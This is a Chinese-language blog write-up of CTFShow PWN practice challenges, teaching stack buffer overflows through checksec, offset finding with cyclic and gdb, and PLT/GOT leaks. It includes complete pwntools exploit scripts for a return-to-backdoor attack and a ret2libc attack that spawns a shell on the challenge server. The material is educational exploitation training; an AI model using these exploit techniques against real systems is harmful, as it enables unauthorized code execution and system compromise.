【原创】CTFShow-PWN

[huayang]

PWN签到题

用公网的服务器弹一下就出来了

pwn02

下载得到文件

先用file查看文件是几位的

这个是几位就用几位的ida进行打开

再用checksec查看一下保护

【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表,Full Relro重定位表只读
【2】Stack:No Canary found(能栈溢出)。如果开启则设置一个随机的 canary 值,当函数返回之时检测 canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生,若改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功
【3】NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
【4】PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址 

我们来到ida,进入main函数

我们先把地址选选项开启

这就是地址

我们使用f5编译为c语言伪代码(只有破解版才有此功能)

setvbuf() /定义缓冲的这里我们不需要管

puts c语言标准的输出语句

pwnme //自定义函数

看见有输出,我们运行看看

我们跟进pwnme看看

双击pwnme即可查看

定义了一个字符数组可以输入9个字节

这里我们可以看见有9个字节注释也有

如果像这种没有怎么办

双击这个

一样可以得出9个字节

可下面fgets最大可接受50个字节

fgets(str,n,stream)
str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流

这就造成了溢出

我们还可以可以使用cyclic+gdb进行查看

首先使用cyclic构造200个随机字符

再放入gdb

然后在run执行,并把上面的字节放进去

这里即可用cyclic -i 0x65616161查出偏移地址

为什么这里是13而不是9呢

计算偏移的时候我们还要加上基址,32位的是4字节,64位的是8字节

所以这里加上偏移刚好13字节

这下我们来构建payload

我们还需要知道个可执行的地址

我们继续来到ida

按住shift+f12

然后在command+f(macOS)或ctrl+f(windows)也就是查找

搜索/bin/sh

这个为啥搜/bin/sh呢,因为这个相当于c语言的main函数一样一般shell都写在这里

我们双击跟进

然后command+x(macOS)或是ctrl+x(windows)

当然也可以直接右键

table或f5即可

即可看见函数名

我们要到的是可执行函数的地址

在gdb上调试

用p加有可执行函数的函数名,即:

p stack

当然还有一种方法可以查看

这里他直接给出了

如果没给出我们也可以看开始的地址

好下面我们构建payload

from pwn import *
p = process('./stack')#本地调试
#p = remote('','')#远程调试
payload = 'b' * 13 + p32(0x804850f)#前面的b相当于污染函数,偏移13个,使用p32进行转码就是转换为二进制的形式
p.sendline(payload)#发送一行数据
p.interactive()#与shell交互

使用的是后记得把注释的中文去除了ubuntu貌似不能识别中文

好继续解上面说

ok,本地没问题

替换成远程即可

pwn3

其他的没有变就少了个后门

还有原本可以输入50个字节现在变成了100个,但问题也不大

如果国赛就没有ida这种东西怎么办

objdump -d  -M intel  stack1
objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。

-d //从objfile中反汇编那些特定指令机器码的section。 

-M 指定反汇编目标文件时使用的架构,一般选用intel

用这条命令即可查找函数名及可执行函数

这样找很慢但也是没有办法的办法

这题是找不到可执行函数的,如果有则是这样的

好正式开始做题步骤

拿到首先看看是几位的

再运行看看

看看保护

还是溢出

老样子查偏移

在没有ida的情况下用objdump查查函数和可执行函数

$ objdump -d stack1

也可以用gdb直接看函数

info functions 

如果有一下就看见了

这个时候就涉及到plt表和got表了
程序执行后,plt表里是got表的地址,got表是函数的真实地址
程序还未执行时,got表里还是plt表的地址

PLTPLT表中的每一项的数据内容都是对应的GOTGOT表中一项的地址这个是固定不变的,到这里大家也知道了PLTPLT表中的数据根本不是函数的真实地址,而是GOTGOT表项的地址

首先栈溢出,利用puts函数的plt表的地址,泄漏puts函数的got表中的函数的真实地址,然后返回地址填写main函数重新跳转回来

构造exo

from pwn import *
context.log_level = 'debug'
elf = ELF('./stack1')
p = process('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)//位置不能变
p.sendline(payload)

当我们知道了puts函数的真实地址之后就可以根据后三位判断libc的版本

from pwn import *
context.log_level = 'debug'
elf = ELF('./stack1')
p = process('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))

https://libc.blukat.me/?q=puts%3A360&l=libc6-i386_2.27-3ubuntu1_amd64

求得libc基地址

libcbase = get_addr - 0x067360 
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,main_addr,bin_sh])

完整的exp为

from pwn import *
context.log_level = 'debug'
elf = ELF('./stack1')
p = remote("pwn.challenge.ctf.show",28100)
#p = process('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360 
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,main_addr,bin_sh])
p.sendline(payload)
p.interactive()

注意像这种要libc库的在本地一般是无法正常执行的

出现类似这样的问题

这是完全正常的,放在远程就可以正常使用了

[/huayang]

==>转载请注明来源哦<==
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇